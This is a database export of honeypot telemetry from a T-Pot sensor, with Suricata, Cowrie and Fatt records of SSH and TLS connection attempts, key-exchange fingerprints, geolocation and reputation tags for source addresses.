36298	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:13:43.310435+03	2021-09-20 15:15:04.397691+03	{"_id": "sQYgA3wBvYTbRNuEWWEl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:13:43.310435Z", "@timestamp": "2021-09-20T12:13:43.310Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36299	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 15:13:44.678783+03	2021-09-20 15:15:04.399691+03	{"_id": "sgYgA3wBvYTbRNuEW2H0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d73f305a2b82", "@version": "1", "duration": 2.750948190689087, "timestamp": "2021-09-20T12:13:44.678783Z", "@timestamp": "2021-09-20T12:13:44.678Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36300	180.76.50.249	109.199.241.180	Suricata	2021-09-20 15:13:41.336977+03	2021-09-20 15:15:04.40069+03	{"_id": "owYgA3wBvYTbRNuEUWFS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:13:40.286445+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 163, "bytes_toserver": 1248}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA TCPv4 invalid checksum", "signature_id": 2200074}, "geoip": {"ip": "180.76.50.249", "asn": 38365, "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "180.76.50.249", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 904945229651693, "payload": "zAMAAAYU/RwCxxgqpFJtZqXajPJo7AAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner"]}, "src_port": 56930, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:13:41.336977Z", "@timestamp": "2021-09-20T12:13:41.336Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...........*.Rmf....h....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
36301	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:13:41.928973+03	2021-09-20 15:15:04.401691+03	{"_id": "qQYgA3wBvYTbRNuEUmGV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.105.80.34", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57592, "timestamp": "2021-09-20T12:13:41.928973", "@timestamp": "2021-09-20T12:13:41.928Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36302	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 15:13:41.928205+03	2021-09-20 15:15:04.40369+03	{"_id": "qgYgA3wBvYTbRNuEVGEi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "d73f305a2b82", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:13:41.928205Z", "@timestamp": "2021-09-20T12:13:41.928Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36303	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 15:13:42.203177+03	2021-09-20 15:15:04.404722+03	{"_id": "qwYgA3wBvYTbRNuEVGEi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "d73f305a2b82", "@version": "1", "timestamp": "2021-09-20T12:13:42.203177Z", "@timestamp": "2021-09-20T12:13:42.203Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36304	113.105.80.34	109.199.241.180	Suricata	2021-09-20 15:13:42.20244+03	2021-09-20 15:15:04.406691+03	{"_id": "rQYgA3wBvYTbRNuEVWE8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "flow_id": 2057772434056370, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57592, "dest_port": 22, "timestamp": "2021-09-20T12:13:42.202440Z", "@timestamp": "2021-09-20T12:13:42.202Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36305	180.76.50.249	109.199.241.180	Cowrie	2021-09-20 15:13:40.550502+03	2021-09-20 15:15:04.40769+03	{"_id": "mQYgA3wBvYTbRNuETGFQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "180.76.50.249", "asn": 38365, "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "180.76.50.249", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 180.76.50.249:56930 (192.168.176.2:22) [session: aff58926b5df]", "session": "aff58926b5df", "@version": "1", "protocol": "ssh", "src_port": 56930, "dest_port": 22, "timestamp": "2021-09-20T12:13:40.550502Z", "@timestamp": "2021-09-20T12:13:40.550Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36306	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:13:40.341791+03	2021-09-20 15:15:04.40869+03	{"_id": "mgYgA3wBvYTbRNuETWFq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:13:40.341791Z", "@timestamp": "2021-09-20T12:13:40.341Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36307	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:13:37.519668+03	2021-09-20 15:15:04.41069+03	{"_id": "hgYgA3wBvYTbRNuEQGGX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.196:49764 (192.168.176.2:22) [session: 22647537fdd6]", "session": "22647537fdd6", "@version": "1", "protocol": "ssh", "src_port": 49764, "dest_port": 22, "timestamp": "2021-09-20T12:13:37.519668Z", "@timestamp": "2021-09-20T12:13:37.519Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	RU
36308	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:13:47.096966+03	2021-09-20 15:15:04.41269+03	{"_id": "uQYgA3wBvYTbRNuEZWHU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36242, "timestamp": "2021-09-20T12:13:47.096966", "@timestamp": "2021-09-20T12:13:47.096Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
36309	218.92.0.190	109.199.241.180	Fatt	2021-09-20 15:13:47.106826+03	2021-09-20 15:15:04.41369+03	{"_id": "ugYgA3wBvYTbRNuEZWHU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 49675, "dest_port": 22, "timestamp": "2021-09-20T12:13:47.106826", "@timestamp": "2021-09-20T12:13:47.106Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
36310	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:13:46.849799+03	2021-09-20 15:15:04.414691+03	{"_id": "wAYgA3wBvYTbRNuEZmEg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49675, "timestamp": "2021-09-20T12:13:46.849799", "@timestamp": "2021-09-20T12:13:46.849Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36311	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:13:47.057163+03	2021-09-20 15:15:04.41669+03	{"_id": "wQYgA3wBvYTbRNuEZmEg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36242, "dest_port": 443, "timestamp": "2021-09-20T12:13:47.057163", "@timestamp": "2021-09-20T12:13:47.057Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
36312	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:13:46.849209+03	2021-09-20 15:15:04.41769+03	{"_id": "wwYgA3wBvYTbRNuEZ2Gt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "441fd9c8d8e4", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T12:13:46.849209Z", "@timestamp": "2021-09-20T12:13:46.849Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36313	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:13:47.00889+03	2021-09-20 15:15:04.41869+03	{"_id": "ywYgA3wBvYTbRNuEaGHI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 3365, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1847, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1020857807478113, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 45559, "timestamp": "2021-09-20T12:13:47.008890Z", "@timestamp": "2021-09-20T12:13:47.008Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
